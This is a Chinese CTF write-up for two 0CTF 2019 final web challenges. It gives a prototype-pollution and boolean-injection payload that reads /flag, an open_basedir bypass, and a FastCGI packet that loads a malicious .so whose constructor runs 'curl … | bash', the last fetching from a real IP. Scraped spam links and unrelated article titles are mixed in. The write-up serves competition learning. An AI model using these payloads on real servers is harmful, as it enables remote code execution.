前言

鸽了好久的题解,因为自己事务缠身,一直没时间写一下最近比赛的题解,趁近日有空,来填坑~

第一次参加0ctf新星赛就拿了冠军,还是非常开心的。比赛过程中,web共4道题,我有幸做出3道,java实在不太擅长,哭了(另一道是ocaml的题目,涉及小trick和逻辑问题,准备放在后面和java一起编写(希望不要咕咕咕了)。这里写出另外两道题目的题解如下:

114514_calcalcalc

本题是2019 RCTF calcalcalc的改版,这次限制了之前的时间延迟注入的问题,同时需要Bypass validator:

我们可以使用__proto__来进行Bypass:

至于时间注入的问题,我们可以使用bool注入来解决这个问题:

{"__proto__": {}, "isVip": true, "expression": "1//1 and ord(open('/flag').read()[1]) >-1 and 1\n"}

php下:

nodejs下:

python下:

当ord(open('/flag').read()[1]) >-1成立时,python返回1,与另外两个保持一致。当ord(open('/flag').read()[1]) >-1不成立时,返回That's classified information. – Asahina Mikuru。故此可以进行bool注入:PHP大马

wallbreaker_not_very_hard

本题是2019 0ctf online和2019 *CTF的难度提升题,拿到题目较为明显的2个条件:

首先是disable_function,过滤了如下函数:

Wall B: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,putenv,proc_open,passthru,symlink,link,syslog,imap_open,dl,system,mb_send_mail,mail,error_log

然后是open_basedir限制了如下目录:

Wall C: /var/www/html:/tmp

题目提示我们:

Here's a backdoor, to help you break Wall A.

But you should find the key of the backdoor.

于是进行目录爆破,得到如下文件泄露:

http://192.168.1.106:10001/.index.php.swp

打开后发现后门:

这里很自然想到*CTF的解法:奇热影视

https://github.com/sixstars/starctf2019/tree/master/web-echohub

那么既然需要使用stream_socket_client和stream_socket_sendto连接php-fpm服务,那么我们需要知道unix:///run/php/php7.3-fpm.sock文件名,那么肯定需要Bypass open_basedir。

这里容易想到之前的相关poc,参考链接如下:

https://skysec.top/2019/04/12/%E4%BB%8EPHP%E5%BA%95%E5%B1%82%E7%9C%8Bopen-basedir-bypass/

尝试构造:

chdir('/tmp');

mkdir('sky');

chdir('sky');

ini_set('open_basedir','..');

chdir('..');

chdir('..');

chdir('..');

chdir('..');

ini_set('open_basedir','/');

var_dump(ini_get('open_basedir'));

var_dump(glob('*'));

发现可以成功bypass open_basedir:

通过列目录,可找到文件名如下:

但尝试使用/var/run/php/U_wi11_nev3r_kn0w.sock,并使用*ctf exp时,发现依然会被disable function限制,那么显然我们还得继续bypass disable function。

那么自然容易想到寻找引入拓展的地方,引入一个hack.so文件,hook函数,达到RCE的目的,这一点和之前2019 0ctf online的时候非常相似,这是当时已经给了现成的拓展和可用函数。

这里可以参考ph牛的文章:

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

在文章中,ph牛剖析的非常透彻,可以帮助我们理解PHP-FPM未授权访问漏洞,既然知道了我们需要构造fastcgi协议和fpm进行通信。

那么势必需要找到fastcgi中是否有更改disable_functions的选项,或者引入extension的选项。同时利用auto_prepend_file和auto_append_file让php执行任意代码。并且文中提及,PHP-FPM的两个环境变量,PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。但disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中。

所以思路更加明确了,我们应该是要找到PHP_ADMIN_VALUE的某个选项,可以帮助我们引入extension。

搜索易得,我们可以利用如下方式,引入指定位置的so文件:

PHP_ADMIN_VALUE['extension'] = /tmp/sky.so

这里我们改写ph牛提供的脚本:

https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

可以构造出如下exp:

%01%01%F8%F1%00%08%00%00%00%01%00%00%00%00%00%00%01%04%F8%F1%01%DC%00%00%0E%02CONTENT_LENGTH19%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%17PHP_ADMIN_VALUEextension%20%3D%20/tmp/sky.so%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%F8%F1%00%00%00%00%01%05%F8%F1%00%13%00%00%3C%3Fphp%20phpinfo%28%29%3B%20%3F%3E%01%05%F8%F1%00%00%00%00

但在使用之前,我们需要首先在/tmp目录下上传一个恶意so文件,我们利用如下github项目进行构造:

#define _GNU_SOURCE

#include #include #include __attribute__ ((__constructor__)) void preload (void)

{

system("curl xxxx | bash");

}

然后编译:

gcc -c -fPIC sky.c -o sky

gcc --share sky -o sky.so

接着将sky.so进行上传:

$upload = '/tmp/sky.so';

echo copy("http://vps_ip/sky.so", $upload);

最后我们整合上述exp,给出完整Payload:

$fp = stream_socket_client("/var/run/php/U_wi11_nev3r_kn0w.sock", $errno, $errstr,30);$out = urldecode("%01%01%1C%AE%00%08%00%00%00%01%00%00%00%00%00%00%01%04%1C%AE%01%DC%00%00%0E%02CONTENT_LENGTH51%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%17PHP_ADMIN_VALUEextension%20%3D%20/tmp/sky.so%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%1C%AE%00%00%00%00%01%05%1C%AE%003%00%00%3C%3Fphp%20hello_world%28%27curl%20106.14.114.127%20%7C%20bash%27%29%3B%20%3F%3E%01%05%1C%AE%00%00%00%00");stream_socket_sendto($fp,$out);while (!feof($fp)) {echo htmlspecialchars(fgets($fp, 10)); }fclose($fp);//'

即可getshell。

后记

总的来说,这篇文章的两个题,都是之前比赛题目的升级版,还是比较有趣的。

localhost/ ~wallhe/index.php,实战:2019 0ctf final Web Writeup(一)相关推荐

  1. 实战:2019 强网杯 final Web Writeup

    前言 强网杯线下赛打的非常happy也非常累,感觉这种赛制非常有意思,早就厌倦了web的AD,这种cms的0/1day的挖掘非常带劲,就是和0ctf连着打,感觉命都没了. 线下赛共有3道web,分别是 ...

  2. :/index.php,http://localhost/my/INDEX.PHP/INDEX/INDEX无法正常运行:解决时找不到Options FollowSymLinks谢谢...

    源自:2-3 路由类 http://localhost/my/INDEX.PHP/INDEX/INDEX无法正常运行:解决时找不到Options FollowSymLinks谢谢 打不到: Optio ...

  3. 人工智能实战2019 第二次作业 焦宇恒

    标题 内容 这个作业属于哪个课程 人工智能实战2019 这个作业的要求在哪里 作业要求 这个作业关于什么 双变量的反向传播 参考文献 参考文献 实验代码 w = 3 b = 4 delta_z = 1 ...

  4. 人工智能实战2019 第五次作业 焦宇恒 16721088

    标题 内容 这个作业属于哪个课程 人工智能实战2019 这个作业的要求在哪里 逻辑与非门 这个作业在哪个具体方面帮助我实现目标 神经网络二分类法 逻辑与门训练样本 X1 X2 Y 0 0 0 0 1 ...

  5. 人工智能实战2019第六次作业 焦宇恒

    标题 内容 这个作业属于哪个课程 人工智能实战2019 这个作业的要求在哪里 练习调整超参 这个作业在哪个具体方面帮助我实现目标 体验超参对学习结果的影响 实验结果 本次实验,假设各个变量相互独立使用 ...

  6. 人工智能实战2019第七次作业(OpenPAI) 16721088 焦宇恒

    项目 内容 这个作业属于哪个课程 人工智能实战2019 这个作业的要求在哪里 OpenPAI与NNI的使用 我在本作业的目标 学习OpenPAI的使用 学习OpenPAI的使用 OpenPAI简介 ​ ...

  7. 人工智能实战2019第七次作业(黄金点) 16721088 焦宇恒

    项目 内容 这个作业属于哪个课程 人工智能实战2019 这个作业的要求在哪里 黄金点游戏 我在本次作业的目标 体验黄金点游戏,构思AI策略 黄金点游戏 游戏介绍 ​ N个同学(N通常大于10),每人写 ...

  8. 人工智能实战2019 第0次作业 焦宇恒

    项目 内容 这个作业属于哪个课程 buaa人工智能实战2019 这个作业的要求在哪里 作业 我在这个课程的目标是 理解人工智能基本算法,学会配置实验环境 这个作业在哪个具体方面帮助我实现目标 理清思路 ...

  9. 人工智能实战2019第八次作业 16721088 焦宇恒

    标题 内容 这个作业属于哪个课程 人工智能实战2019 这个作业的要求在哪里 Mnist手写数字识别项目拓展 这个作业在哪个具体方面帮助我实现目标 深入理解手写识别原理 思考:如何设计该计算器应用以识 ...

最新文章

  1. 使数组中奇数位于偶数前面
  2. [转载] 马化腾-“杀人的网络,互联网的大是大非问题”专访腾讯董事会主席兼CEO马化腾...
  3. linux 安装mongodb 64,在CentOS 6.x 64bit上安装MongoDB 3.2社区版
  4. 前端HTML以及HTML5(基本标签)
  5. 震惊!丧心病狂的夕小瑶推出新一轮写作计划!
  6. 3D重建传统算法对比深度学习,SFU谭平:更需要的是二者的融合
  7. 未来十年,你的人生目标在哪里?
  8. python-类继承多态
  9. 【2023年战略管理公开课计划】向华为学习 业务领先的战略规划SP(BLM)和战略解码BP(BEM)
  10. scratch---迷宫夺宝游戏实现,完整代码分享,多种地图与角色特效都有素材包!
  11. rplidar的安装与使用
  12. MySQL5.7版本64位下载及安装详细教程
  13. 微信公众号粉丝、文章迁移流程及方法
  14. 免费图床(随时更新)
  15. Java多线程学习详细学习及扩展
  16. 怎么设置计算机桌面一键关机,电脑一键关机按钮创建 教你在桌面一点就自动关机...
  17. 摩托车挡板防碎膜-安全骑行好伴侣
  18. 股市知识:ST的股票可以买吗
  19. 记一次发现某餐饮企业二维码支付漏洞的经历
  20. 一条update语句更新多条sql记录

热门文章

  1. VC---强制重启电脑的代码
  2. java的File.renameTo(File)方法
  3. 《无线电与电视》杂志创刊50周年纪念版耳机放大器全解析
  4. 计算无边界云栖大会深圳峰会抢鲜报道
  5. 小米OJ #136 小米兔的轨迹
  6. python画图(标记、marker、设置标记大小、marker符号大全)(图文详细入门教程五)
  7. 智慧能耗在线监测系统
  8. 高通将在骁龙845移动平台上对网易游戏进行优化
  9. @JsonFormat时间格式化注解使用
  10. 数据备份用DG还是RMAN?